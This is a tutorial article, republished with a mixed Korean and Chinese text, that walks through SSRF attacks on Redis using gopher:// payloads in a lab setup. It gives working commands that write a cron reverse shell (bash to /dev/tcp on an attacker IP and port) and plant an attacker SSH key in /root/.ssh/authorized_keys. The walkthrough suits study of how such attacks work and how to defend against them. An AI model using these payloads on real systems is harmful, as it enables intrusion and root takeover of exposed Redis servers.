>  기사  >  데이터 베이스  >  Redis의 서버 측 요청 위조 SSRF 분석 예

Redis의 서버 측 요청 위조 SSRF 분석 예

WBOY
WBOY앞으로
2023-05-30 09:18:281289검색

SSRF, 즉 서버측 요청 위조입니다. 사용자는 서버에서 요청한 리소스, 프로토콜, 경로 등을 제어할 수 있습니다. 이로 인해 SSRF 공격이 발생할 수 있습니다.

이 기사에서는 Gopher 프로토콜과 getshell을 통해 Redis 서비스에 대한 SSRF 공격을 연구하는 데 중점을 둡니다.

gopher 프로토콜 형식

먼저 Gopher 프로토콜이 무엇인지, 형식이 무엇인지 이해하세요.

gopher://://_ 뒤에 TCP 데이터가 옵니다. stream

redis 공격을 테스트할 때 Linux에 포함된 컬을 사용하여 테스트할 수 있습니다.

Centos를 사용하는 경우 실험의 성공을 보장하려면 Centos의 selinux를 끄는 것이 가장 좋습니다.

selinux 닫기:

setenforce 0

Attack redis

(1) 실험 환경 설정

가상 머신에 Centos7을 설치하기만 하면 됩니다.

redis 설치:

wget http://download.redis.io/releases/redis-4.0.6.tar.gz //redis 압축 패키지 다운로드

yum install gcc //make 설치 시 Gcc가 필요합니다.

tar -xzvf redis-4.0.6.tar.gz //압축된 패키지 압축 해제 cd redis-4.0.6 //압축된 패키지 디렉터리 입력

make MALLOC=libc //컴파일

cd src //다음 컴파일이 완료되면 src 폴더가 생성됩니다. src 폴더에 들어가세요

make install //Install

redis run:

redis-4.0.6 디렉토리 에서 redis.conf가 초기 redis입니다. 구성 파일

redis-4.0.6/src 디렉토리 에는 가장 중요한 실행 파일 두 개가 있습니다:

redis-server -- server

redis-cli -- client

서버 프로그램을 직접 실행하세요. redis 서비스를 시작할 수 있습니다.

./redis-server

Redis의 서버 측 요청 위조 SSRF 분석 예

클라이언트 프로그램을 직접 실행하고 기본적으로 로컬 Redis 서비스에 연결합니다:

./redis-cli

(2) 예비 탐색 및 소개

암호 없는 Redis 공격 시도:

먼저 패킷을 열어야 합니다. Redis와 통신하기 위해 데이터 패키지를 캡처하는 캡처 소프트웨어입니다.

Linux에서는 tcpdump를 사용하여 트래픽을 캡처할 수 있습니다.

tcpdump -i lo -s 0 port 6379 -w redis.pcap

로컬 인터페이스의 트래픽을 캡처하려면 lo가 eth0이 아니라는 점에 유의하세요.

먼저 로그인한 다음 키 설정 작업을 수행합니다.

Redis의 서버 측 요청 위조 SSRF 분석 예

tcpdump로 캡처 패키지를 내보내고 Wireshark로 열고 TCP 흐름을 추적합니다.

서버에서 반환한 데이터가 아닌 우리가 입력한 데이터만 보면 됩니다.

Redis의 서버 측 요청 위조 SSRF 분석 예

"다음으로 데이터 표시 및 저장" 위치에서 16진수 덤프를 선택하면 다음 데이터를 얻을 수 있습니다.

Redis의 서버 측 요청 위조 SSRF 분석 예

빨간색 상자는 나중에 사용할 것입니다. payload

모든 것을 복사하고 편집기를 사용하세요 빨간색 상자를 제외한 모든 관련 없는 데이터를 제거하려면

Redis의 서버 측 요청 위조 SSRF 분석 예

그런 다음 각 16진수 값 앞에 백분율 기호를 추가하고 한 줄로 정렬합니다.

Redis의 서버 측 요청 위조 SSRF 분석 예

컬 요청 구성:

curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -

Echo:

Redis의 서버 측 요청 위조 SSRF 분석 예

쿼리 키:

Redis의 서버 측 요청 위조 SSRF 분석 예

키가 성공적으로 설정될 수 있습니다.

비밀번호를 사용하여 Redis를 공격해 보세요:

먼저 로그인할 때 비밀번호가 필요하도록 redis를 구성하세요.

redis에서 구성 파일 redis.conf를 수정하고 requirepass 키워드를 검색하세요.

기본적으로 requirepass 는 주석 처리되어 있으며 설명 기호 를 삭제한 다음 requirepass

Redis의 서버 측 요청 위조 SSRF 분석 예

구성 후 Redis를 시작하는 명령은 다음과 같습니다.

./redis-server redis配置文件路径

Redis의 서버 측 요청 위조 SSRF 분석 예

비밀번호로 Redis 공격 시도:

먼저 tcpdump를 켜서 패킷을 캡처한 다음 redis 명령줄에서 작업을 수행합니다.

Redis의 서버 측 요청 위조 SSRF 분석 예

트래픽을 다시 캡처하고 이전과 같이 작동합니다. , 비밀번호 확인은 추가를 의미함을 확인하세요. 인증 명령이 하나 더 있습니다:

Redis의 서버 측 요청 위조 SSRF 분석 예

重复上文的步骤即可。

(2)GetShell:

接下来讲重点:通过 set key GetShell:

思路:

(1)将反弹shell命令写到定时任务里,攻击机只需要开一个netcat端口即可。

(2)写入ssh-keygen,进行ssh免密登录。

一个个细细道来。

(1)定时任务反弹shell

基本要求:

redis需要是以 root 权限运行,不然写不到 /var/spool/cron/ 目录下

1.首先得知道 Linux 下的定时任务是个什么东西:

Linux下设置定时任务命令为 crontab

配置文件为 /etc/crontab

下面这张图是配置文件里的内容,很好的说明了 crontab 配置的格式

Redis의 서버 측 요청 위조 SSRF 분석 예

这个配置文件应该只是供参考用的,我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下

如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt

则可以这么操作:

vim /var/spool/cron/root //root是文件名,一般以执行的用户命名

在文件中写入

* * * * * root echo1 > /tmp/1.txt

保存退出后,重启 crontab 服务:

systemctl restart crond.service

即可每一分钟执行一次该命令

2.接着要知道linux下通过输入输出流反弹shell

 命令:

/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1

 直接看效果:Redis의 서버 측 요청 위조 SSRF 분석 예

Redis의 서버 측 요청 위조 SSRF 분석 예

这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/

文件描述符 1 表示标准输入

文件描述符 2 表示标准输出

/bin/bash -i 表示的是调用bash命令的交互模式,并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。

重定向时加入一个描述符 &,表示直接作为数据流输入。不加 & 时,重定向默认是输出到文件里的。

做个实例就清晰明了了

Redis의 서버 측 요청 위조 SSRF 분석 예

/dev/tcp/ip地址/端口号 是linux下的特殊文件,表示对这个地址端口进行tcp连接

这里我们设置成攻击机监听的地址

最后面的 0>&1 。此时攻击机和靶机已经建立好了连接,攻击机的输入就是从标准输入0传送至靶机

通过重定向符,重定向到 1(标准输入)中,由于是作为 /bin/bash 的标准输入,所以就执行了系统命令了。

3.还需要知道Redis如何写入文件

Redis 中可以导出当前数据库中的 key 和 value

并且可以通过命令配置导出路径和文件名:

config set dir /tmp/test      //设置导出路径
config set dbfilename root    //设置导出文件名
save                          //执行导出操作

Redis의 서버 측 요청 위조 SSRF 분석 예

Redis의 서버 측 요청 위조 SSRF 분석 예

可以看到,格式非常乱。不过还好linux中的cron不会报错,只要读到一行正确配置即可执行。

通过crontab定时任务 getshell

为了能让linux能够正确读到一行,我们在 set key 的时候手动添加 \n(换行)

redis语句:

config set dir /var/spool/cron
config set dbfilename root
set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
save

转换成 gopher协议,进行curl请求:

Redis의 서버 측 요청 위조 SSRF 분석 예

成功写入:

Redis의 서버 측 요청 위조 SSRF 분석 예

成功getshell:

Redis의 서버 측 요청 위조 SSRF 분석 예

注意:这里有一个坑点。

cron文件不需要写用户名,不然会报错:

Redis의 서버 측 요청 위조 SSRF 분석 예

Redis의 서버 측 요청 위조 SSRF 분석 예

(2)ssh免密登录

在linux中,ssh可配置成免密登录。

需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes

改为

StrictModes no

然后重启sshd即可

免密登录条件:

客户端生成公钥和私钥

将公钥上传至服务端 即可

在SSRF利用中,同样需要root权限运行 redis

如果不是root权限,需要能够 ssh 登录的用户权限运行 redis

正常免密登录流程:

1.客户端先生成公钥和私钥

使用工具 ssh-keygen:

ssh-keygen -t rsa

Redis의 서버 측 요청 위조 SSRF 분석 예

执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件

有.pub后缀的就是公钥,没有.pub后缀的就是私钥

Redis의 서버 측 요청 위조 SSRF 분석 예

2.上传公钥至服务器

将公钥上传至服务端的 /root/.ssh目录下

嫌麻烦可以用 ssh-copy-id工具

Redis의 서버 측 요청 위조 SSRF 분석 예

Redis의 서버 측 요청 위조 SSRF 분석 예

3.重命名文件为authorized_keys

文件名要重命名为 authorized_keys

authorized_keys 文件内容如下:

Redis의 서버 측 요청 위조 SSRF 분석 예

如果有多台客户端需要免密登录,新起一行,新行中写对应的客户端的公钥值即可

类似这样:

Redis의 서버 측 요청 위조 SSRF 분석 예

4.免密登录

传好后即可免密登录:

Redis의 서버 측 요청 위조 SSRF 분석 예

ssh免密登录 getshelll

我们知道了要写入的文件位置、要写入的内容(公钥事先生成好),我们可以构造redis语句了:

//先配置路径
config set dir /root/.ssh      
config set dbfilename authorized_keys
//写入公钥
set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n"
//保存
save

改成gopher协议格式: 

Redis의 서버 측 요청 위조 SSRF 분석 예

查看 authorized_keys 文件:

Redis의 서버 측 요청 위조 SSRF 분석 예 

成功免密登录:

Redis의 서버 측 요청 위조 SSRF 분석 예

위 내용은 Redis의 서버 측 요청 위조 SSRF 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제